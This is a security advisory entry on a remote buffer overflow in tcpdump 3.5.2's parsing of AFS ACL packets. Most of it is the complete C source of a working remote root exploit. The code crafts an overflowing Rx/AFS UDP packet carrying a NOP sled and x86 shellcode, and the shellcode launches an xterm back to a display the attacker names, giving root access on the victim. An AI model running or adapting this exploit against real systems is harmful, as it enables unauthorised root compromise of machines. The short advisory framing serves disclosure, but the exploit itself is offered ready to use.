source: http://www.securityfocus.com/bid/1870/info

tcpdump is a popular network monitoring tool used for watching network traffic written by the Lawrence Berkeley Laboratory. It must at least begin execution as root since it opens and reads from the link layer interface (through pcap). It is usually run directly by/as root. 

tcpdump is vulnerable to a remotely exploitable buffer overflow in it's parsing of AFS ACL packets. This is likely the result of the AFS packet fields received over a network interface being copied into memory buffers of predefined length without checks for size. The excessive data could be used to overwrite stack variables if constructed correctly and allow the attacker (who would have sent the custom ACL packets) to gain remote access to the victim host. 

Exploitation of this vulnerability would likely yield root access for the perpetrator.

   /*
    * Tcpdump remote root xploit (3.5.2) (with -s 500 or higher)
    * for Linux x86
    *
    * By: Zhodiac <zhodiac@softhome.net>
    *
    * !Hispahack Research Team
    * http://hispahack.ccc.de
    *
    * This xploit was coded only to prove it can be done :)
    *
    * As usual, this xploit is dedicated to [CrAsH]]
    * She is "the one" and "only one" :***************
    *
    * #include <standar/disclaimer.h>
    *
    * Madrid 2/1/2001
    *
    * Spain r0x
    *
    */

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    #define ADDR			0xbffff248
    #define OFFSET			0
    #define NUM_ADDR			10
    #define NOP				0x90
    #define NUM_NOP			100

    #define RX_CLIENT_INITIATED     1
    #define RX_PACKET_TYPE_DATA     1
    #define FS_RX_DPORT             7000
    #define FS_RX_SPORT             7001
    #define AFS_CALL                134

    struct rx_header {
        u_int32_t epoch;
        u_int32_t cid;
        u_int32_t callNumber;
        u_int32_t seq;
        u_int32_t serial;
        u_char type;
        u_char flags;
        u_char userStatus;
        u_char securityIndex;
        u_short spare;
        u_short serviceId;
    };

    char shellcode[] = /* By Zhodiac <zhodiac@softhome.net> */
      "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"
      "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"
      "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"
      "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"
      "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"
      "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"
      "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"
      "\xff\xff\xff"
      "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";

    long resolve(char *name) {
     struct hostent *hp;
     long ip;

     if ((ip=inet_addr(name))==-1) {
       if ((hp=gethostbyname(name))==NULL) {
            fprintf (stderr,"Can't resolve host name [%s].\n",name);
            exit(-1);
          }
        memcpy(&ip,(hp->h_addr),4);
        }
     return(ip);
    }


    int main (int argc, char *argv[]) {

     struct sockaddr_in addr,sin;
     int sock,aux, offset=OFFSET;
     char buffer[4048], *chptr;
     struct rx_header *rxh;
     long int *lptr, return_addr=ADDR;


      fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
      fprintf(stderr,"Tcpdump 3.5.2 xploit by Zhodiac <zhodiac@softhome.net>\n\n");


      if (argc<3) {
        printf("Usage: %s <host> <display> [offset]\n",argv[0]);
        exit(-1);
        }

      if (argc==4) offset=atoi(argv[3]);
      return_addr+=offset;

      fprintf(stderr,"Using return addr: %#x\n",return_addr);

      addr.sin_family=AF_INET;
      addr.sin_addr.s_addr=resolve(argv[1]);
      addr.sin_port=htons(FS_RX_DPORT);

      if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {
         perror("socket()");
         exit(-1);
         }

      sin.sin_family=AF_INET;
      sin.sin_addr.s_addr=INADDR_ANY;
      sin.sin_port=htons(FS_RX_SPORT);

      if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {
          perror("bind()");
          exit(-1);
          }

      memset(buffer,0,sizeof(buffer));
      rxh=(struct rx_header *)buffer;

      rxh->type=RX_PACKET_TYPE_DATA;
      rxh->seq=htonl(1);
      rxh->flags=RX_CLIENT_INITIATED;

      lptr=(long int *)(buffer+sizeof(struct rx_header));
      *(lptr++)=htonl(AFS_CALL);
      *(lptr++)=htonl(1);
      *(lptr++)=htonl(2);
      *(lptr++)=htonl(3);

      *(lptr++)=htonl(420);
      chptr=(char *)lptr;
      sprintf(chptr,"1 0\n");
      chptr+=4;

      memset(chptr,'A',120);
      chptr+=120;
      lptr=(long int *)chptr;
      for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;
      chptr=(char *)lptr;
      memset(chptr,NOP,NUM_NOP);
      chptr+=NUM_NOP;
      shellcode[30]=(char)(46+strlen(argv[2]));
      memcpy(chptr,shellcode,strlen(shellcode));
      chptr+=strlen(shellcode);
      memcpy(chptr,argv[2],strlen(argv[2]));
      chptr+=strlen(argv[2]);

      sprintf(chptr," 1\n");

      if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1) {
         perror("send()");
         exit(-1);
         }

      fprintf(stderr,"Packet with Overflow sent, now wait for the xterm!!!! :)\n\n");

      close(sock);
      return(0);
     }

   ------- tcpdump-xploit.c ----------